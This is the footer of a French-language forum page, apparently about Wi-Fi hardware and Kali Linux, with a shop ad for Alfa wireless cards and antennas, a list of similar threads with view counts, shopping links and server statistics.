Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
0 132 21-11-2016 23:08:49 par muts
25 1087 07-11-2016 20:09:33 par M1ck3y
8 494 19-10-2016 14:43:06 par kcdtv
3 348 19-10-2016 06:57:49 par rouzzz
Épinglée :
Épinglée :: Linux Deploy -> Kali Linux par romeoandjuliet
4 7414 03-10-2016 18:20:06 par hellblob

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.106 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]